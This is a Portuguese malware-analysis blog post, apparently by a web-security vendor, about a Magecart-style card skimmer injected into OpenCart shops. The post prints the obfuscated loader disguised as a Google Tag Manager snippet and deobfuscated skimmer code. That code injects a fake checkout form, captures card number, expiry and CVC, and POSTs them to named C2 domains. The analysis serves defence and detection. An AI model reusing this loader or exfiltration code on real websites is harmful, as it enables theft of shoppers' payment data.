Detectamos um ataque no estilo Magecart direcionado à plataforma de CMS OpenCart. A campanha parece estar focada em sites de e-commerce no Leste Asiático. Magecart tornou-se um termo usado como sinônimo de ataques client-side, originado de Magento + Cart.
Como aconteceu o ataque de injeção de script
O script malicioso é injetado diretamente na página inicial do site. Ele fica escondido entre integrações legítimas de terceiros, como Facebook Pixel, Meta Pixel e Google Tag Manager. Comportamento típico de um ataque client-side.
Veja o trecho que continha o malware injetado:
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
À primeira vista, parece uma integração normal do Google Analytics ou Tag Manager, mas não é.
O payload decodificado em Base64 aponta para:
/tagscart[.]shop/cdn/analytics.min.js
Assim que esse script é carregado:
- Ele cria um elemento
<script>. - Define seu src para o analytics.min.js malicioso.
- Injeta na página antes de qualquer tag de script existente.
Comportamento do script malicioso
O script de /tagscart[.]shop/cdn/analytics.min.js estava fortemente ofuscado.
Algumas técnicas utilizadas:
- Referências de caracteres hexadecimais (indexação com 0x...)
- Divisão de arrays e recombinação dinâmica (.split('|'))
- Uso perigoso de eval() para executar código decodificado dinamicamente
- Execução silenciosa via try { onLoad(); } catch {}
Após a desofuscação
Observando as partes mais importantes:
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php'; // Servidor C2 de backup
// #################### FAKE FORM INJECTION ####################
// Injeção no fluxo padrão de checkout
function onTimerStd() {
// ... (omitido por brevidade)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Injeta formulário falso
// Configuração de máscara de entrada
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Formatação de cartão de crédito
placeHolder: "Valid Card Number"
});
// ... similar para campos de data e CVC
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Anexa listeners aos campos de pagamento
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Captura quando o foco sai do campo
hEl.addEventListener('keydown', mainListener); // Captura teclas pressionadas
hEl.addEventListener('paste', mainListener); // Captura dados colados
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Ajusta validação para cartões Amex
} catch (e) {}
// Verificações de validação antes da exfiltração
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Exige comprimento mínimo do CVC
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Exige data de validade completa
// ... (lógica de exfiltração de dados)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (verificações de validação)
var sDump = JSON.stringify({
"u": window.location.href, // Captura a URL atual
"f": vData // Dados do formulário roubados
});
sDump = Base64.encode(sDump); // Codifica os dados
iMethod = 1;
sendData(sAdsUrl1, sDump); // Envia para o primeiro C2
sendData(sAdsUrl2, sDump); // Envia para o C2 de backup
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (após a injeção)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Oculta o formulário de pagamento original
}
// ... (exibe o formulário falso)
}
Funcionalidades maliciosas
- Injeção de formulário de pagamento falso: Cria dinamicamente um formulário falso de cartão de crédito (HTML + CSS).
- O formulário falso é injetado nas páginas de checkout.
- Monitora a entrada do usuário em campos como: payment[cc_number]
- payment[date]
- payment[cc_cid]
- Verifica se os campos do cartão parecem válidos (ex.: comprimento do CVC, formato da data de validade).
- Após a validação, codifica em Base64 e captura os dados (incluindo a URL da página atual) e os envia para://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- O formulário de pagamento original é ocultado.
- O formulário falso é exibido em seu lugar, estilizado para parecer legítimo.
- Implementa um InputMask personalizado para fazer os campos parecerem "profissionais" (ex.: formatação automática de números de cartão de crédito).
Comportamento inesperado
Ao contrário de alguns ataques Magecart tradicionais, esse script de terceiros não copia dados da área de transferência. Os usuários são forçados a inserir os dados do cartão manualmente. Além disso, após a inserção dos dados do cartão, as informações são enviadas imediatamente para o servidor do atacante. Em seguida, o formulário de pagamento por cartão é ocultado e o usuário é solicitado a inserir os dados de transação bancária para capturar informações adicionais sensíveis.
Página de pagamento falsa

Página de pagamento falsa após a inserção do cartão, exibindo a página de dados bancários

Requisição POST capturada para o C2

Dados postados em Base64

Payload decodificado

Como monitoramos o uso
Para rastrear o ataque, entender como os dados são gerenciados ou utilizados, ou onde estão sendo vendidos, costumamos usar canary tokens para rastreamento. Isso é o que encontramos:
Curiosamente, na maioria dos casos, vemos o uso do cartão roubado nos dias seguintes. No entanto, neste caso, levou vários meses.
Neste exemplo, identificamos dois usos. O primeiro ocorreu em 18 de junho por meio de uma transação pay-by-phone originada dos EUA.

Uma segunda transação foi realizada no valor de €47,80 para um fornecedor desconhecido.

Rastrear esses ataques nos dá uma compreensão melhor das pessoas por trás deles e de como as campanhas de ataque evoluem.
Nossa plataforma de detecção identificou esse ataque usando uma combinação de:
- Comportamento anômalo de scripts: Scripts que se passam por legítimos (Google Analytics / GTM), mas que carregam conteúdo de domínios suspeitos.
- Padrões de JavaScript ofuscado: Uso de eval dinâmico, decodificação em base64 e manipulação suspeita de arrays.
- Detecção de substituição de formulários: Monitoramento de formulários falsos injetados em fluxos de checkout conhecidos.
Monitoramento de domínios de ameaça: tagscart[.]shop, ultracart[.]shop e hxjet[.]pics já estavam sinalizados em nossos feeds de inteligência de ameaças.
Considerações finais
Na cside, monitoramos continuamente scripts de terceiros e ativos web para detectar e prevenir ataques client-side como este.
Nossa plataforma de detecção foi projetada para:
- Identificar injeções de scripts não autorizadas
- Analisar comportamentos suspeitos em tempo real
- Bloquear ataques antes que dados sensíveis dos clientes possam ser roubados
Ao proteger proativamente os sites contra ameaças client-side, ajudamos as empresas a preservar a confiança de seus clientes e a se manterem um passo à frente dos ataques de segurança web em constante evolução.




